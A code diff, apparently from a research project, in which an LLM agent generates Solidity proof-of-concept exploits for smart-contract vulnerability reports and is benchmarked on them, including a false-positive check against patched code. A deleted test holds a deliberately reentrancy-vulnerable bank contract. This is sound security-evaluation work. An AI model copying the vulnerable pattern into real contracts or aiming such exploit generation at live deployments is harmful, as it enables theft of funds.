|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
src/agents/tester/utils/extractSolidity.ts
CHANGED
|
@@ -1,16 +1,28 @@
|
|
| 1 |
export function extractSolidity(llmOutput: string): string {
|
| 2 |
-
|
| 3 |
-
const match = llmOutput.match(/```solidity\s*([\s\S]*?)```/);
|
| 4 |
-
if (match) return match[1].trim();
|
| 5 |
|
| 6 |
-
//
|
| 7 |
-
const
|
| 8 |
-
|
| 9 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 10 |
}
|
| 11 |
|
| 12 |
-
// Caso 3: output inválido — lançar erro descritivo
|
| 13 |
throw new Error(
|
| 14 |
-
`LLM output não contém bloco Solidity válido. Preview: "${
|
| 15 |
);
|
| 16 |
}
|
|
|
|
| 1 |
export function extractSolidity(llmOutput: string): string {
|
| 2 |
+
let cleaned = llmOutput.trim();
|
|
|
|
|
|
|
| 3 |
|
| 4 |
+
// Bulletproof extraction: find SPDX or pragma and slice from there
|
| 5 |
+
const spdxIndex = cleaned.indexOf("// SPDX");
|
| 6 |
+
const pragmaIndex = cleaned.indexOf("pragma solidity");
|
| 7 |
+
|
| 8 |
+
let startIndex = -1;
|
| 9 |
+
if (spdxIndex !== -1 && pragmaIndex !== -1) {
|
| 10 |
+
startIndex = Math.min(spdxIndex, pragmaIndex);
|
| 11 |
+
} else if (spdxIndex !== -1) {
|
| 12 |
+
startIndex = spdxIndex;
|
| 13 |
+
} else if (pragmaIndex !== -1) {
|
| 14 |
+
startIndex = pragmaIndex;
|
| 15 |
+
}
|
| 16 |
+
|
| 17 |
+
if (startIndex !== -1) {
|
| 18 |
+
// Slice from start index
|
| 19 |
+
cleaned = cleaned.slice(startIndex);
|
| 20 |
+
// Remove trailing backticks
|
| 21 |
+
cleaned = cleaned.replace(/\n?```[a-zA-Z]*\s*$/, "");
|
| 22 |
+
return cleaned.trim();
|
| 23 |
}
|
| 24 |
|
|
|
|
| 25 |
throw new Error(
|
| 26 |
+
`LLM output não contém bloco Solidity válido (faltou SPDX ou pragma). Preview: "${cleaned.slice(0, 200)}"`
|
| 27 |
);
|
| 28 |
}
|
src/agents/tester/utils/parserUtils.ts
CHANGED
|
@@ -14,7 +14,7 @@ export function extractConstructor(sourceCode: string, contractName: string): Co
|
|
| 14 |
ContractDefinition: (node) => {
|
| 15 |
if (node.name === contractName) {
|
| 16 |
for (const part of node.subNodes) {
|
| 17 |
-
if (part.type === "FunctionDefinition" && part.isConstructor) {
|
| 18 |
found = true;
|
| 19 |
if (part.range) {
|
| 20 |
constructorParams = sourceCode.slice(part.range[0], part.range[1]).split("{")[0].trim();
|
|
|
|
| 14 |
ContractDefinition: (node) => {
|
| 15 |
if (node.name === contractName) {
|
| 16 |
for (const part of node.subNodes) {
|
| 17 |
+
if (part.type === "FunctionDefinition" && (part as any).isConstructor) {
|
| 18 |
found = true;
|
| 19 |
if (part.range) {
|
| 20 |
constructorParams = sourceCode.slice(part.range[0], part.range[1]).split("{")[0].trim();
|
src/benchmark/runFinalEvaluation.ts
CHANGED
|
@@ -15,8 +15,11 @@ async function runEvaluation() {
|
|
| 15 |
const metadata = JSON.parse(metadataStr);
|
| 16 |
const cases = Object.keys(metadata);
|
| 17 |
|
| 18 |
-
//
|
| 19 |
-
const
|
|
|
|
|
|
|
|
|
|
| 20 |
console.log(`Iniciando avaliação final para ${targetCases.length} projetos...`);
|
| 21 |
|
| 22 |
// Prepara o arquivo CSV
|
|
@@ -33,7 +36,9 @@ async function runEvaluation() {
|
|
| 33 |
"B_Exploit_Iters",
|
| 34 |
"B_Final_Error",
|
| 35 |
"PoC_Code",
|
| 36 |
-
"Patch_Diff"
|
|
|
|
|
|
|
| 37 |
];
|
| 38 |
|
| 39 |
await fs.mkdir(path.join(process.cwd(), "data"), { recursive: true });
|
|
@@ -55,7 +60,7 @@ async function runEvaluation() {
|
|
| 55 |
|
| 56 |
if (!setupInfo) {
|
| 57 |
console.log(`[${caseId}] Falha crítica no setup inicial.`);
|
| 58 |
-
appendCsvRow([caseId, "0", "FALSE", "FALSE", "FALSE", "0", "SETUP_FAILED", "0", "", "", ""]);
|
| 59 |
continue;
|
| 60 |
}
|
| 61 |
|
|
@@ -98,15 +103,21 @@ async function runEvaluation() {
|
|
| 98 |
patchDiff
|
| 99 |
};
|
| 100 |
|
| 101 |
-
const resultA = await testerAgent.invoke({ report: reportA }, { recursionLimit: 100 }) as
|
| 102 |
let reproducible = resultA.status === "success";
|
| 103 |
let specific = false;
|
|
|
|
|
|
|
| 104 |
let pocCodeStr = "";
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 105 |
|
| 106 |
// Se reproduziu, testa a especificidade aplicando o patch
|
| 107 |
if (reproducible) {
|
| 108 |
console.log(`\n[CENÁRIO A] Reproduzível! PoC gerado com sucesso. Testando especificidade no patch...`);
|
| 109 |
-
pocCodeStr = resultA.pocCode || resultA.solidityCode;
|
| 110 |
|
| 111 |
const patchApplied = await applyPatchSmart(caseId, sandboxDir);
|
| 112 |
if (patchApplied) {
|
|
@@ -127,6 +138,7 @@ async function runEvaluation() {
|
|
| 127 |
}
|
| 128 |
|
| 129 |
const lastErrorA = (resultA as any).lastError || (resultA.status === "success" ? "" : "TIMEOUT");
|
|
|
|
| 130 |
|
| 131 |
// ==========================================
|
| 132 |
// CENÁRIO B: Teste de Falso Positivo (Patch)
|
|
@@ -139,6 +151,7 @@ async function runEvaluation() {
|
|
| 139 |
let falsePositiveRejected = false;
|
| 140 |
let resultB: Partial<PoCResult> = { iterations: 0, status: "failed" };
|
| 141 |
let lastErrorB = "";
|
|
|
|
| 142 |
|
| 143 |
if (setupInfoB) {
|
| 144 |
// Aplica o patch ANTES de chamar o agente (tornando o código seguro)
|
|
@@ -159,7 +172,7 @@ async function runEvaluation() {
|
|
| 159 |
patchDiff: undefined // Oculta o patch diff do LLM para este cenário
|
| 160 |
};
|
| 161 |
|
| 162 |
-
resultB = await testerAgent.invoke({ report: reportB }, { recursionLimit: 100 }) as
|
| 163 |
|
| 164 |
// Se falhou em gerar exploit, REJEITOU com sucesso o falso positivo!
|
| 165 |
if (resultB.status !== "success") {
|
|
@@ -169,6 +182,7 @@ async function runEvaluation() {
|
|
| 169 |
console.log(`\n[CENÁRIO B] ALUCINAÇÃO CRÍTICA! Agente hackeou um código que já estava corrigido.`);
|
| 170 |
}
|
| 171 |
lastErrorB = (resultB as any).lastError || (resultB.status === "success" ? "" : "TIMEOUT");
|
|
|
|
| 172 |
}
|
| 173 |
}
|
| 174 |
|
|
@@ -187,8 +201,10 @@ async function runEvaluation() {
|
|
| 187 |
(resultB as any).infraIterations || 0,
|
| 188 |
(resultB as any).exploitIterations || 0,
|
| 189 |
lastErrorB,
|
| 190 |
-
|
| 191 |
-
reproducible ?
|
|
|
|
|
|
|
| 192 |
]);
|
| 193 |
|
| 194 |
console.log(`[${caseId}] Avaliação concluída em ${totalTimeSec}s. Salvo no CSV.`);
|
|
|
|
| 15 |
const metadata = JSON.parse(metadataStr);
|
| 16 |
const cases = Object.keys(metadata);
|
| 17 |
|
| 18 |
+
// Configurações Globais
|
| 19 |
+
const MAX_CASES = 1;
|
| 20 |
+
const TIMEOUT_MS = 3 * 60 * 1000; // 3 minutos por caso
|
| 21 |
+
|
| 22 |
+
const targetCases = cases.slice(0, MAX_CASES);
|
| 23 |
console.log(`Iniciando avaliação final para ${targetCases.length} projetos...`);
|
| 24 |
|
| 25 |
// Prepara o arquivo CSV
|
|
|
|
| 36 |
"B_Exploit_Iters",
|
| 37 |
"B_Final_Error",
|
| 38 |
"PoC_Code",
|
| 39 |
+
"Patch_Diff",
|
| 40 |
+
"A_Execution_Logs",
|
| 41 |
+
"B_Execution_Logs"
|
| 42 |
];
|
| 43 |
|
| 44 |
await fs.mkdir(path.join(process.cwd(), "data"), { recursive: true });
|
|
|
|
| 60 |
|
| 61 |
if (!setupInfo) {
|
| 62 |
console.log(`[${caseId}] Falha crítica no setup inicial.`);
|
| 63 |
+
appendCsvRow([caseId, "0", "FALSE", "FALSE", "FALSE", "0", "SETUP_FAILED", "0", "", "", "", "", ""]);
|
| 64 |
continue;
|
| 65 |
}
|
| 66 |
|
|
|
|
| 103 |
patchDiff
|
| 104 |
};
|
| 105 |
|
| 106 |
+
const resultA = await testerAgent.invoke({ report: reportA }, { recursionLimit: 100 }) as any;
|
| 107 |
let reproducible = resultA.status === "success";
|
| 108 |
let specific = false;
|
| 109 |
+
|
| 110 |
+
// Ler o PoC gerado diretamente do sandbox, já que o ReAct agent usa write_file
|
| 111 |
let pocCodeStr = "";
|
| 112 |
+
try {
|
| 113 |
+
pocCodeStr = await fs.readFile(path.join(sandboxDir, "test", "Exploit.t.sol"), "utf8");
|
| 114 |
+
} catch {
|
| 115 |
+
pocCodeStr = resultA.pocCode || "";
|
| 116 |
+
}
|
| 117 |
|
| 118 |
// Se reproduziu, testa a especificidade aplicando o patch
|
| 119 |
if (reproducible) {
|
| 120 |
console.log(`\n[CENÁRIO A] Reproduzível! PoC gerado com sucesso. Testando especificidade no patch...`);
|
|
|
|
| 121 |
|
| 122 |
const patchApplied = await applyPatchSmart(caseId, sandboxDir);
|
| 123 |
if (patchApplied) {
|
|
|
|
| 138 |
}
|
| 139 |
|
| 140 |
const lastErrorA = (resultA as any).lastError || (resultA.status === "success" ? "" : "TIMEOUT");
|
| 141 |
+
const logsA = Buffer.from(((resultA as any).executionLogs || []).join("\n---\n")).toString("base64");
|
| 142 |
|
| 143 |
// ==========================================
|
| 144 |
// CENÁRIO B: Teste de Falso Positivo (Patch)
|
|
|
|
| 151 |
let falsePositiveRejected = false;
|
| 152 |
let resultB: Partial<PoCResult> = { iterations: 0, status: "failed" };
|
| 153 |
let lastErrorB = "";
|
| 154 |
+
let logsB = "";
|
| 155 |
|
| 156 |
if (setupInfoB) {
|
| 157 |
// Aplica o patch ANTES de chamar o agente (tornando o código seguro)
|
|
|
|
| 172 |
patchDiff: undefined // Oculta o patch diff do LLM para este cenário
|
| 173 |
};
|
| 174 |
|
| 175 |
+
resultB = await testerAgent.invoke({ report: reportB }, { recursionLimit: 100 }) as any;
|
| 176 |
|
| 177 |
// Se falhou em gerar exploit, REJEITOU com sucesso o falso positivo!
|
| 178 |
if (resultB.status !== "success") {
|
|
|
|
| 182 |
console.log(`\n[CENÁRIO B] ALUCINAÇÃO CRÍTICA! Agente hackeou um código que já estava corrigido.`);
|
| 183 |
}
|
| 184 |
lastErrorB = (resultB as any).lastError || (resultB.status === "success" ? "" : "TIMEOUT");
|
| 185 |
+
logsB = Buffer.from(((resultB as any).executionLogs || []).join("\n---\n")).toString("base64");
|
| 186 |
}
|
| 187 |
}
|
| 188 |
|
|
|
|
| 201 |
(resultB as any).infraIterations || 0,
|
| 202 |
(resultB as any).exploitIterations || 0,
|
| 203 |
lastErrorB,
|
| 204 |
+
Buffer.from(pocCodeStr).toString("base64"),
|
| 205 |
+
reproducible ? Buffer.from(patchDiff).toString("base64") : "",
|
| 206 |
+
logsA,
|
| 207 |
+
logsB
|
| 208 |
]);
|
| 209 |
|
| 210 |
console.log(`[${caseId}] Avaliação concluída em ${totalTimeSec}s. Salvo no CSV.`);
|
src/benchmark/runSyntheticEvaluation.ts
ADDED
|
@@ -0,0 +1,140 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import "dotenv/config";
|
| 2 |
+
import fs from "fs/promises";
|
| 3 |
+
import path from "path";
|
| 4 |
+
import { execSync } from "child_process";
|
| 5 |
+
import { testerAgent } from "../agents/tester/agent.js";
|
| 6 |
+
import { VulnerabilityReport } from "../agents/tester/types.js";
|
| 7 |
+
|
| 8 |
+
const JSONL_FILE = path.join(process.cwd(), "data", "benchmark_synthetic.jsonl");
|
| 9 |
+
const TEMP_DIR = path.join(process.cwd(), "temp_eval_run");
|
| 10 |
+
const CSV_FILE = path.join(process.cwd(), "data", "synthetic_evaluation_results.csv");
|
| 11 |
+
|
| 12 |
+
async function parseJSONL(filepath: string) {
|
| 13 |
+
const content = await fs.readFile(filepath, "utf8");
|
| 14 |
+
return content.split("\n").filter(l => l.trim().length > 0).map(l => JSON.parse(l));
|
| 15 |
+
}
|
| 16 |
+
|
| 17 |
+
async function createEmptyFoundryProject(targetDir: string, sourceCode: string, contractName: string) {
|
| 18 |
+
await fs.mkdir(targetDir, { recursive: true });
|
| 19 |
+
execSync("forge init --no-git --force", {
|
| 20 |
+
cwd: targetDir,
|
| 21 |
+
env: { ...process.env, PATH: `${process.env.PATH}:/home/tales/.foundry/bin` }
|
| 22 |
+
});
|
| 23 |
+
|
| 24 |
+
// Clean up default files
|
| 25 |
+
await fs.rm(path.join(targetDir, "src", "Counter.sol"), { force: true });
|
| 26 |
+
await fs.rm(path.join(targetDir, "test", "Counter.t.sol"), { force: true });
|
| 27 |
+
await fs.rm(path.join(targetDir, "script", "Counter.s.sol"), { force: true });
|
| 28 |
+
|
| 29 |
+
// Write vulnerable contract
|
| 30 |
+
await fs.writeFile(path.join(targetDir, "src", `${contractName}.sol`), sourceCode);
|
| 31 |
+
}
|
| 32 |
+
|
| 33 |
+
function appendCsvRow(row: string[]) {
|
| 34 |
+
const line = row.map(cell => `"${String(cell).replace(/"/g, '""')}"`).join(";") + "\n";
|
| 35 |
+
import("fs").then(m => m.appendFileSync(CSV_FILE, line));
|
| 36 |
+
}
|
| 37 |
+
|
| 38 |
+
async function runEvaluation() {
|
| 39 |
+
const cases = await parseJSONL(JSONL_FILE);
|
| 40 |
+
|
| 41 |
+
// Only evaluate easy and intermediate for now
|
| 42 |
+
const targetCases = cases.filter(c => c.complexity !== "hard");
|
| 43 |
+
console.log(`Iniciando avaliação para ${targetCases.length} projetos sintéticos...`);
|
| 44 |
+
|
| 45 |
+
const csvHeaders = [
|
| 46 |
+
"Task_ID",
|
| 47 |
+
"Complexity",
|
| 48 |
+
"Time_Sec",
|
| 49 |
+
"Pass_at_1",
|
| 50 |
+
"Tool_Calls",
|
| 51 |
+
"Total_Cost_USD",
|
| 52 |
+
"Final_Status",
|
| 53 |
+
"Error_Msg"
|
| 54 |
+
];
|
| 55 |
+
|
| 56 |
+
await fs.mkdir(path.join(process.cwd(), "data"), { recursive: true });
|
| 57 |
+
await fs.writeFile(CSV_FILE, csvHeaders.join(";") + "\n");
|
| 58 |
+
|
| 59 |
+
let totalCost = 0;
|
| 60 |
+
let passed = 0;
|
| 61 |
+
|
| 62 |
+
for (const c of targetCases) {
|
| 63 |
+
console.log(`\n\n${"=".repeat(60)}`);
|
| 64 |
+
console.log(`=== INICIANDO CASO: ${c.task_id} ===`);
|
| 65 |
+
console.log(`${"=".repeat(60)}`);
|
| 66 |
+
|
| 67 |
+
const startTime = Date.now();
|
| 68 |
+
const sandboxDir = path.join(TEMP_DIR, c.repo_name);
|
| 69 |
+
|
| 70 |
+
// Setup Forge
|
| 71 |
+
const contractName = c.repo_name.replace(/-/g, ""); // Simplified contract name parsing
|
| 72 |
+
await createEmptyFoundryProject(sandboxDir, c.source_code, contractName);
|
| 73 |
+
|
| 74 |
+
const report: VulnerabilityReport = {
|
| 75 |
+
id: c.task_id,
|
| 76 |
+
severity: c.impact || "high",
|
| 77 |
+
type: c.expected_vulnerability,
|
| 78 |
+
title: c.task_id,
|
| 79 |
+
description: c.annotation,
|
| 80 |
+
affectedContract: { name: contractName, sourceCode: c.source_code, sourceFilePath: `src/${contractName}.sol` },
|
| 81 |
+
attackVector: c.expected_vulnerability,
|
| 82 |
+
customSandboxDir: sandboxDir
|
| 83 |
+
};
|
| 84 |
+
|
| 85 |
+
console.log(`[CENÁRIO SINTÉTICO] Gerando exploit para ${c.task_id}...`);
|
| 86 |
+
|
| 87 |
+
const result = await testerAgent.invoke(
|
| 88 |
+
{ report },
|
| 89 |
+
{
|
| 90 |
+
recursionLimit: 100,
|
| 91 |
+
configurable: { sandboxDir }
|
| 92 |
+
}
|
| 93 |
+
) as any;
|
| 94 |
+
|
| 95 |
+
const timeSec = ((Date.now() - startTime) / 1000).toFixed(1);
|
| 96 |
+
const passAt1 = result.status === "success";
|
| 97 |
+
const toolCalls = result.toolCallCount || 0;
|
| 98 |
+
const cost = result.totalCost || 0;
|
| 99 |
+
|
| 100 |
+
totalCost += cost;
|
| 101 |
+
if (passAt1) passed++;
|
| 102 |
+
|
| 103 |
+
console.log(`=> Status: ${result.status} | Tools: ${toolCalls} | Cost: $${cost.toFixed(2)} | Time: ${timeSec}s`);
|
| 104 |
+
|
| 105 |
+
if (!passAt1) {
|
| 106 |
+
console.log("--- LLM HISTORY ---");
|
| 107 |
+
for (const m of result.messages) {
|
| 108 |
+
console.log(`[${m._getType()}] ${m.content.substring(0, 200)}...`);
|
| 109 |
+
if (m._getType() === "ai" && m.tool_calls) {
|
| 110 |
+
console.log("Tool calls:", JSON.stringify(m.tool_calls));
|
| 111 |
+
}
|
| 112 |
+
if (m._getType() === "tool" && m.name === "smart_contract_test") {
|
| 113 |
+
console.log("Test Output:", m.content);
|
| 114 |
+
}
|
| 115 |
+
}
|
| 116 |
+
console.log("-------------------");
|
| 117 |
+
}
|
| 118 |
+
|
| 119 |
+
appendCsvRow([
|
| 120 |
+
c.task_id,
|
| 121 |
+
c.complexity,
|
| 122 |
+
timeSec,
|
| 123 |
+
passAt1 ? "TRUE" : "FALSE",
|
| 124 |
+
toolCalls.toString(),
|
| 125 |
+
cost.toFixed(4),
|
| 126 |
+
result.status,
|
| 127 |
+
result.lastError || ""
|
| 128 |
+
]);
|
| 129 |
+
}
|
| 130 |
+
|
| 131 |
+
console.log(`\n\nAVALIAÇÃO CONCLUÍDA!`);
|
| 132 |
+
console.log(`Accuracy (Pass@1): ${((passed / targetCases.length) * 100).toFixed(1)}% (${passed}/${targetCases.length})`);
|
| 133 |
+
console.log(`Total Cost: $${totalCost.toFixed(2)}`);
|
| 134 |
+
console.log(`Resultados em: ${CSV_FILE}`);
|
| 135 |
+
}
|
| 136 |
+
|
| 137 |
+
runEvaluation().catch(err => {
|
| 138 |
+
console.error("Fatal error during evaluation:", err);
|
| 139 |
+
process.exit(1);
|
| 140 |
+
});
|
tests/centrifuge_flat.sol
DELETED
|
@@ -1,71 +0,0 @@
|
|
| 1 |
-
// SPDX-License-Identifier: AGPL-3.0-only
|
| 2 |
-
pragma solidity 0.8.21;
|
| 3 |
-
|
| 4 |
-
interface IERC20 {
|
| 5 |
-
function totalSupply() external view returns (uint256);
|
| 6 |
-
function balanceOf(address account) external view returns (uint256);
|
| 7 |
-
function transfer(address recipient, uint256 amount) external returns (bool);
|
| 8 |
-
function allowance(address owner, address spender) external view returns (uint256);
|
| 9 |
-
function approve(address spender, uint256 amount) external returns (bool);
|
| 10 |
-
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
|
| 11 |
-
}
|
| 12 |
-
|
| 13 |
-
interface IERC4626 is IERC20 {
|
| 14 |
-
function asset() external view returns (address);
|
| 15 |
-
}
|
| 16 |
-
|
| 17 |
-
interface InvestmentManagerLike {
|
| 18 |
-
function processDeposit(address receiver, uint256 assets) external returns (uint256);
|
| 19 |
-
function processMint(address receiver, uint256 shares) external returns (uint256);
|
| 20 |
-
function maxDeposit(address user, address _tranche) external view returns (uint256);
|
| 21 |
-
function maxMint(address user, address _tranche) external view returns (uint256);
|
| 22 |
-
function requestDeposit(uint256 assets, address receiver) external;
|
| 23 |
-
}
|
| 24 |
-
|
| 25 |
-
contract Auth {
|
| 26 |
-
mapping (address => uint) public wards;
|
| 27 |
-
function rely(address usr) external auth { wards[usr] = 1; }
|
| 28 |
-
function deny(address usr) external auth { wards[usr] = 0; }
|
| 29 |
-
modifier auth {
|
| 30 |
-
require(wards[msg.sender] == 1, "not-authorized");
|
| 31 |
-
_;
|
| 32 |
-
}
|
| 33 |
-
}
|
| 34 |
-
|
| 35 |
-
contract LiquidityPool is Auth {
|
| 36 |
-
uint64 public poolId;
|
| 37 |
-
bytes16 public trancheId;
|
| 38 |
-
address public immutable asset;
|
| 39 |
-
address public immutable share;
|
| 40 |
-
InvestmentManagerLike public investmentManager;
|
| 41 |
-
|
| 42 |
-
constructor(uint64 poolId_, bytes16 trancheId_, address asset_, address share_, address investmentManager_) {
|
| 43 |
-
poolId = poolId_;
|
| 44 |
-
trancheId = trancheId_;
|
| 45 |
-
asset = asset_;
|
| 46 |
-
share = share_;
|
| 47 |
-
investmentManager = InvestmentManagerLike(investmentManager_);
|
| 48 |
-
wards[msg.sender] = 1;
|
| 49 |
-
}
|
| 50 |
-
|
| 51 |
-
modifier withApproval(address owner) {
|
| 52 |
-
require(msg.sender == owner, "LiquidityPool/no-approval");
|
| 53 |
-
_;
|
| 54 |
-
}
|
| 55 |
-
|
| 56 |
-
function deposit(uint256 assets, address receiver) public withApproval(receiver) returns (uint256 shares) {
|
| 57 |
-
shares = investmentManager.processDeposit(receiver, assets);
|
| 58 |
-
}
|
| 59 |
-
|
| 60 |
-
function mint(uint256 shares, address receiver) public withApproval(receiver) returns (uint256 assets) {
|
| 61 |
-
assets = investmentManager.processMint(receiver, shares);
|
| 62 |
-
}
|
| 63 |
-
|
| 64 |
-
function maxDeposit(address receiver) public view returns (uint256) {
|
| 65 |
-
return investmentManager.maxDeposit(receiver, address(this));
|
| 66 |
-
}
|
| 67 |
-
|
| 68 |
-
function maxMint(address receiver) external view returns (uint256 maxShares) {
|
| 69 |
-
return investmentManager.maxMint(receiver, address(this));
|
| 70 |
-
}
|
| 71 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
tests/e2e/poc-generator.test.ts
DELETED
|
@@ -1,39 +0,0 @@
|
|
| 1 |
-
import { describe, expect, it } from "vitest";
|
| 2 |
-
|
| 3 |
-
import { runPoCGenerator } from "../../src/agents/tester/index.js";
|
| 4 |
-
import { VulnerabilityReport } from "../../src/agents/tester/types.js";
|
| 5 |
-
|
| 6 |
-
const VULNERABLE_BANK = `
|
| 7 |
-
pragma solidity ^0.8.20;
|
| 8 |
-
contract VulnerableBank {
|
| 9 |
-
mapping(address => uint) public balances;
|
| 10 |
-
function deposit() external payable { balances[msg.sender] += msg.value; }
|
| 11 |
-
function withdraw() external {
|
| 12 |
-
uint amount = balances[msg.sender];
|
| 13 |
-
(bool ok,) = msg.sender.call{value: amount}("");
|
| 14 |
-
require(ok);
|
| 15 |
-
balances[msg.sender] = 0; // atualiza DEPOIS — reentrancy
|
| 16 |
-
}
|
| 17 |
-
receive() external payable {}
|
| 18 |
-
}`.trim();
|
| 19 |
-
|
| 20 |
-
const mockReport: VulnerabilityReport = {
|
| 21 |
-
id: "e2e-reentrancy-001",
|
| 22 |
-
severity: "high",
|
| 23 |
-
type: "reentrancy",
|
| 24 |
-
title: "Reentrancy em withdraw()",
|
| 25 |
-
description: "withdraw() envia ETH antes de zerar o saldo, permitindo re-entrada.",
|
| 26 |
-
affectedContract: { name: "VulnerableBank", sourceCode: VULNERABLE_BANK },
|
| 27 |
-
attackVector: "Contrato atacante com fallback() que chama withdraw() novamente antes do saldo ser zerado.",
|
| 28 |
-
suggestedCheatcodes: ["vm.deal", "vm.startPrank", "vm.stopPrank"],
|
| 29 |
-
};
|
| 30 |
-
|
| 31 |
-
describe("PoC generator (e2e)", () => {
|
| 32 |
-
it("generates a PoC from a vulnerability report", async () => {
|
| 33 |
-
const result = await runPoCGenerator(mockReport);
|
| 34 |
-
|
| 35 |
-
expect(result.status).toBe("success");
|
| 36 |
-
expect(result.solidityCode).toContain("test_Exploit");
|
| 37 |
-
expect(result.executionLogs.length).toBeGreaterThan(0);
|
| 38 |
-
}, 120000);
|
| 39 |
-
});
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
tests/run-centrifuge-test.ts
DELETED
|
@@ -1,44 +0,0 @@
|
|
| 1 |
-
import { testerAgent } from "../src/agents/tester/agent.js";
|
| 2 |
-
import { Finding, VulnerabilityReport } from "../src/agents/tester/types.js";
|
| 3 |
-
import { readFileSync } from "fs";
|
| 4 |
-
|
| 5 |
-
function mapFindingToReport(finding: Finding, sourceCode: string): VulnerabilityReport {
|
| 6 |
-
const nameMatch = finding.path.match(/([^\/]+)\.sol$/);
|
| 7 |
-
const contractName = nameMatch ? nameMatch[1] : "TargetContract";
|
| 8 |
-
|
| 9 |
-
return {
|
| 10 |
-
id: finding.title.toLowerCase().replace(/[^a-z0-9]+/g, "-").slice(0, 50),
|
| 11 |
-
severity: finding.severity === "high" ? "high" : finding.severity === "medium" ? "medium" : "low",
|
| 12 |
-
type: "custom",
|
| 13 |
-
title: finding.title,
|
| 14 |
-
description: finding.description,
|
| 15 |
-
affectedContract: {
|
| 16 |
-
name: contractName,
|
| 17 |
-
sourceCode: sourceCode,
|
| 18 |
-
},
|
| 19 |
-
attackVector: finding.judgeReview.exploitablePaths[0] || "Unknown vector",
|
| 20 |
-
exploitablePaths: finding.judgeReview.exploitablePaths,
|
| 21 |
-
codeSnippet: finding.codeSnippet,
|
| 22 |
-
location: finding.location
|
| 23 |
-
};
|
| 24 |
-
}
|
| 25 |
-
|
| 26 |
-
async function main() {
|
| 27 |
-
const input = JSON.parse(readFileSync("src/agents/tester/data/input_centrifuge.json", "utf-8"));
|
| 28 |
-
const sourceCode = readFileSync("tests/centrifuge_flat.sol", "utf-8");
|
| 29 |
-
|
| 30 |
-
const report = mapFindingToReport(input, sourceCode);
|
| 31 |
-
|
| 32 |
-
console.log("Iniciando execução do Agente Tester com Centrifuge Trajectory 008...");
|
| 33 |
-
const result = await testerAgent.invoke({ report });
|
| 34 |
-
|
| 35 |
-
console.log("\n======= Resultado =======");
|
| 36 |
-
console.log("Status Final:", result.status);
|
| 37 |
-
console.log("Iterações:", result.iterations);
|
| 38 |
-
if (result.lastError) console.log("Último Erro:", result.lastError);
|
| 39 |
-
|
| 40 |
-
console.log("\n======= Código Gerado =======");
|
| 41 |
-
console.log(result.pocCode);
|
| 42 |
-
}
|
| 43 |
-
|
| 44 |
-
main().catch(console.error);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
